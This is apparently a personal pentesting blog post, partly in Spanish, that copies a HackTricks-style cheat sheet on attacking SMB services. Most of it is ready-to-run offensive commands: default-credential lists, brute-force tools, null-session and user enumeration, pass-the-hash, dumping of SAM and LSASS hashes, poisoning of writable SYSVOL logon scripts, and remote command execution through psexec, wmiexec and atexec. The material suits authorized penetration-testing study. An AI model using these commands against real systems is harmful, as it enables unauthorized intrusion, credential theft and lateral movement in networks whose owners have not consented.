cd ~/blog

~/vulns/smb-server-message-blocks.md

SMB Enum

misc 12-11-2025
SMBenum

~7 min de lectura


Fuente: https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smb/index.html?highlight=smb

El Network Basic Input Output System (NetBIOS) es un protocolo de software que permite que aplicaciones y equipos dentro de una red de área local (LAN) interactúen con el hardware de red y transmitan datos a través de ella. Las aplicaciones que operan en una red NetBIOS se identifican y localizan mediante sus nombres NetBIOS, que pueden tener hasta 16 caracteres y suelen ser distintos del nombre del equipo. Una sesión NetBIOS entre dos aplicaciones se inicia cuando una de ellas (como cliente) emite un comando para “llamar” a otra (como servidor) a través del puerto TCP 139.

139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn

Puerto 445

Técnicamente, el puerto 139 corresponde a ‘NBT sobre IP’, mientras que el puerto 445 se identifica como ‘SMB sobre IP’. Las siglas SMB significan ‘Server Message Blocks’, protocolo que en la práctica moderna también se conoce como Common Internet File System (CIFS). Como protocolo de la capa de aplicación, SMB/CIFS se usa principalmente para compartir archivos, impresoras y puertos serie, además de facilitar distintas formas de comunicación entre los nodos de una red.

En Windows, por ejemplo, SMB puede operar directamente sobre TCP/IP a través del puerto 445, eliminando la necesidad de NetBIOS sobre TCP/IP. En otros sistemas, en cambio, se observa el uso del puerto 139, señal de que SMB se ejecuta junto con NetBIOS sobre TCP/IP.

445/tcp   open  microsoft-ds  Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)

SMB

El protocolo Server Message Block (SMB) funciona en un modelo cliente-servidor y regula el acceso a archivos, directorios y otros recursos de red, como impresoras y routers. Se usa principalmente en la familia de sistemas operativos Windows y garantiza compatibilidad hacia atrás, de modo que los dispositivos con versiones recientes de Windows se comunican sin problemas con los que ejecutan versiones anteriores. Además, el proyecto Samba ofrece una implementación libre de SMB para sistemas Linux y Unix, lo que facilita la comunicación multiplataforma.

Un servidor SMB puede exponer “shares” (comparticiones), que representan partes arbitrarias de su sistema de archivos local. Así, el cliente ve una jerarquía que puede ser independiente de la estructura real del servidor. Las Listas de Control de Acceso (ACL) definen los derechos de acceso y permiten un control granular sobre los permisos —ejecutar, leer o control total—, que pueden asignarse a usuarios individuales o a grupos por compartición y son independientes de los permisos locales del servidor.

Recurso compartido IPC$

El acceso al recurso IPC$ puede obtenerse mediante una sesión nula anónima, lo que permite interactuar con servicios expuestos a través de tuberías con nombre (named pipes). La utilidad enum4linux resulta muy útil para este fin: usada correctamente, permite obtener:

  • Información sobre el sistema operativo

  • Detalles sobre el dominio padre

  • Un listado de usuarios y grupos locales

  • Información sobre las comparticiones SMB disponibles

  • La política de seguridad efectiva del sistema

Esta capacidad es clave para que administradores de red y profesionales de seguridad evalúen la postura de seguridad de los servicios SMB. enum4linux ofrece una visión completa del entorno SMB del objetivo, esencial para identificar posibles vulnerabilidades y verificar que los servicios estén correctamente protegidos.

enum4linux -a target_ip

El comando anterior muestra cómo usar enum4linux para realizar una enumeración completa contra el objetivo indicado en target_ip.

Possible Credentials

Username(s)Common passwords
(blank)(blank)
guest(blank)
Administrator, admin(blank), password, administrator, admin
arcservearcserve, backup
tivoli, tmersrvdtivoli, tmersrvd, admin
backupexec, backupbackupexec, backup, arcada
test, lab, demopassword, test, lab, demo

Brute force

nmap --script smb-brute -p 445 <IP>

hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1

legba smb --target share.company.com --username admin --password data/passwords.txt [--smb-workgroup <SMB_WORKGROUP>] [--smb-share <SMB_SHARE>]

Obtain information

#Dump interesting information
enum4linux -a [-u "<username>" -p "<passwd>"] <IP>
enum4linux-ng -A [-u "<username>" -p "<passwd>"] <IP>
nmap --script "safe or smb-enum-*" -p 445 <IP>

#Connect to the rpc
rpcclient -U "" -N <IP> #No creds
rpcclient //machine.htb -U domain.local/USERNAME%754d87d42adabcca32bdb34a876cbffb  --pw-nt-hash
rpcclient -U "username%passwd" <IP> #With creds
#You can use querydispinfo and enumdomusers to query user information

#Dump user information
/usr/share/doc/python3-impacket/examples/samrdump.py -port 139 [[domain/]username[:password]@]<targetName or address>

/usr/share/doc/python3-impacket/examples/samrdump.py -port 445 [[domain/]username[:password]@]<targetName or address>

#Map possible RPC endpoints
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 135 [[domain/]username[:password]@]<targetName or address>

/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>

/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>

Enumerate Users, Groups & Logged On Users

This info should already being gathered from enum4linux and enum4linux-ng

netexec smb 10.10.10.10 --users [-u <username> -p <password>]
netexec smb 10.10.10.10 --groups [-u <username> -p <password>]
netexec smb 10.10.10.10 --groups --loggedon-users [-u <username> -p <password>]

ldapsearch -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "(&(objectclass=user))" -h 10.10.10.10 | grep -i samaccountname: | cut -f 2 -d " "

rpcclient -U "" -N 10.10.10.10

enumdomusers

enumdomgroups

Enumerate local users

Impacket

lookupsid.py -no-pass hostname.local

One-liner

for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done

Metasploit - Enumerate local users

use auxiliary/scanner/smb/smb_lookupsid
set rhosts hostname.local
run

Shared Folders Enumeration

List shared folders

It is always recommended to look if you can access to anything, if you don't have credentials try using null credentials/guest user.

smbclient --no-pass -L //<IP> # Null user
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash

smbmap -H <IP> [-P <PORT>] #Null user
smbmap -u "username" -p "password" -H <IP> [-P <PORT>] #Creds
smbmap -u "username" -p "<NT>:<LM>" -H <IP> [-P <PORT>] #Pass-the-Hash
smbmap -R -u "username" -p "password" -H <IP> [-P <PORT>] #Recursive list

netexec smb <IP> -u '' -p '' --shares #Null user
netexec smb <IP> -u 'username' -p 'password' --shares #Guest user
netexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user

Connect/List a shared folder

#Connect using smbclient
smbclient --no-pass //<IP>/<Folder>
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
#Use --no-pass -c 'recurse;ls'  to list recursively with smbclient

#List with smbmap, without folder it list everything
smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive list
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash

Enumerate shares from Windows / without third-party tools

PowerShell

# Retrieves the SMB shares on the locale computer.
Get-SmbShare
Get-WmiObject -Class Win32_Share
# Retrieves the SMB shares on a remote computer.
get-smbshare -CimSession "<computer name or session object>"
# Retrieves the connections established from the local SMB client to the SMB servers.
Get-SmbConnection

CMD

# List shares on the local computer
net share
# List shares on a remote computer (including hidden ones)
net view \\<ip> /all

Mount a shared folder

mount -t cifs //x.x.x.x/share /mnt/share mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share

Download files

Read previous sections to learn how to connect with credentials/Pass-the-Hash.

#Search a file and download
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
#Download all
smbclient //<IP>/<share>
> mask ""
> recurse
> prompt
> mget *
#Download everything to current directory

Commands:

  • mask: specifies the mask which is used to filter the files within the directory (e.g. "" for all files)
  • recurse: toggles recursion on (default: off)
  • prompt: toggles prompting for filenames off (default: on)
  • mget: copies all files matching the mask from host to client machine

(Information from the manpage of smbclient)

Snaffler.exe -s -d domain.local -o snaffler.log -v data
  • NetExec spider.
    • -M spider_plus [--share <share_name>]
    • --pattern txt
sudo netexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'

Specially interesting from shares are the files called Registry.xml as they may contain passwords for users configured with autologon via Group Policy. Or web.config files as they contains credentials.

The SYSVOL share is readable by all authenticated users in the domain. In there you may find many different batch, VBScript, and PowerShell scripts. You should check the scripts inside of it as you might find sensitive info such as passwords. Also, don’t trust automated share listings: even if a share looks read-only, the underlying NTFS ACLs may allow writes. Always test with smbclient by uploading a small file to \\<dc>\\SYSVOL\\<domain>\\scripts\\. If writable, you can poison logon scripts for RCE at user logon.

ShareHound – OpenGraph collector for SMB shares (BloodHound)

ShareHound discovers domain SMB shares, traverses them, extracts ACLs, and emits an OpenGraph JSON file for BloodHound CE/Enterprise.

  • Baseline collection:
    1. LDAP: enumerate computer objects, read dNSHostName
    2. DNS: resolve each host
    3. SMB: list shares on reachable hosts
    4. Crawl shares (BFS/DFS), enumerate files/folders, capture permissions

ShareQL-driven traversal

  • ShareQL is a first-match-wins DSL to allow/deny traversal by host/share/path and set per-rule max depth. Focus on interesting shares and cap recursion.

Example ShareQL rules

# Only crawl shares with name containing "backup", up to depth 2
allow host * share * path * depth 0
allow host * share *backup* path * depth 2
deny  host * share * path *

Usage

sharehound -ai "10.0.100.201" -au "user" -ap "Test123!" -ns "10.0.100.201" \
  -rf "rules/skip_common_shares.shareql" -rf "rules/max_depth_2.shareql"
  • Provide AD creds via -ad/-au/-ap (or use -ad with -au/-ap). Use -r/-rf for inline rules or files.
  • Output: JSON OpenGraph; import in BloodHound to query hosts/shares/files and effective rights.
  • Tip: Limit max depth to 1–2 unless your filters are very restrictive.

BloodHound attack-surface queries

  • Principals with write-like access on shares
MATCH x=(p)-[r:CanWriteDacl|CanWriteOwner|CanDsWriteProperty|CanDsWriteExtendedProperties]->(s:NetworkShareSMB)
RETURN x
    • Principals with FULL_CONTROL on shares

Cypher: principals with FULL_CONTROL on shares

MATCH (p:Principal)-[r]->(s:NetworkShareSMB)
WHERE (p)-[:CanDelete]->(s)
  AND (p)-[:CanDsControlAccess]->(s)
  AND (p)-[:CanDsCreateChild]->(s)
  AND (p)-[:CanDsDeleteChild]->(s)
  AND (p)-[:CanDsDeleteTree]->(s)
  AND (p)-[:CanDsListContents]->(s)
  AND (p)-[:CanDsListObject]->(s)
  AND (p)-[:CanDsReadProperty]->(s)
  AND (p)-[:CanDsWriteExtendedProperties]->(s)
  AND (p)-[:CanDsWriteProperty]->(s)
  AND (p)-[:CanReadControl]->(s)
  AND (p)-[:CanWriteDacl]->(s)
  AND (p)-[:CanWriteOwner]->(s)
RETURN p,r,s
  • Hunt sensitive files by extension (e.g., VMDKs)
MATCH p=(h:NetworkShareHost)-[:HasNetworkShare]->(s:NetworkShareSMB)-[:Contains*0..]->(f:File)
WHERE toLower(f.extension) = toLower(".vmdk")
RETURN p

Read Registry

You may be able to read the registry using some discovered credentials. Impacket reg.py allows you to try:

sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s

Post Exploitation

The default config of a Samba server is usually located in /etc/samba/smb.conf and might have some dangerous configs:

SettingDescription
browseable = yesAllow listing available shares in the current share?
read only = noForbid the creation and modification of files?
writable = yesAllow users to create and modify files?
guest ok = yesAllow connecting to the service without using a password?
enable privileges = yesHonor privileges assigned to specific SID?
create mask = 0777What permissions must be assigned to the newly created files?
directory mask = 0777What permissions must be assigned to the newly created directories?
logon script = script.shWhat script needs to be executed on the user's login?
magic script = script.shWhich script should be executed when the script gets closed?
magic output = script.outWhere the output of the magic script needs to be stored?

The command smbstatus gives information about the server and about who is connected.

Authenticate using Kerberos (Port 88 tcp/udp)

You can authenticate to kerberos using the tools smbclient and rpcclient:

smbclient --kerberos //ws01win10.domain.com/C$
rpcclient -k ws01win10.domain.com

In Kerberos-only environments (NTLM disabled), NTLM attempts against SMB may return STATUS_NOT_SUPPORTED. Fix common Kerberos issues and force Kerberos auth:

# sync clock to avoid KRB_AP_ERR_SKEW
sudo ntpdate <dc.fqdn>

# use Kerberos with tooling (reads your TGT from ccache)
netexec smb <dc.fqdn> -k

Execute Commands

netexec

netexec can execute commands abusing any of mmcexec, smbexec, atexec, wmiexec being wmiexec the default method. You can indicate which option you prefer to use with the parameter --exec-method:

netexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable' #Execute Powershell
netexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami #Excute cmd
netexec smb 192.168.10.11 -u Administrator -H <NTHASH> -x whoami #Pass-the-Hash
# Using --exec-method {mmcexec,smbexec,atexec,wmiexec}

netexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sam #Dump SAM
netexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --lsa #Dump LSASS in memmory hashes
netexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sessions #Get sessions (
netexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --loggedon-users #Get logged-on users
netexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --disks #Enumerate the disks
netexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --users #Enumerate users
netexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --groups # Enumerate groups
netexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --local-groups # Enumerate local groups
netexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --pass-pol #Get password policy
netexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --rid-brute #RID brute

netexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hashs

psexec/smbexec

Both options will create a new service (using \pipe\svcctl via SMB) in the victim machine and use it to execute something (psexec will upload an executable file to ADMIN$ share and smbexec will point to cmd.exe/powershell.exe and put in the arguments the payload --file-less technique--).
More info about psexec and smbexec.
In kali it is located on /usr/share/doc/python3-impacket/examples/

#If no password is provided, it will be prompted
./psexec.py [[domain/]username[:password]@]<targetName or address>
./psexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
psexec \\192.168.122.66 -u Administrator -p 123456Ww
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash

Using parameter-k you can authenticate against kerberos instead of NTLM

wmiexec/dcomexec

Stealthily execute a command shell without touching the disk or running a new service using DCOM via port 135.
In kali it is located on /usr/share/doc/python3-impacket/examples/

#If no password is provided, it will be prompted
./wmiexec.py [[domain/]username[:password]@]<targetName or address> #Prompt for password
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted

Using parameter-k you can authenticate against kerberos instead of NTLM

#If no password is provided, it will be prompted
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
./dcomexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted

AtExec

Execute commands via the Task Scheduler (using \pipe\atsvc via SMB).
In kali it is located on /usr/share/doc/python3-impacket/examples/

./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"

// relacionados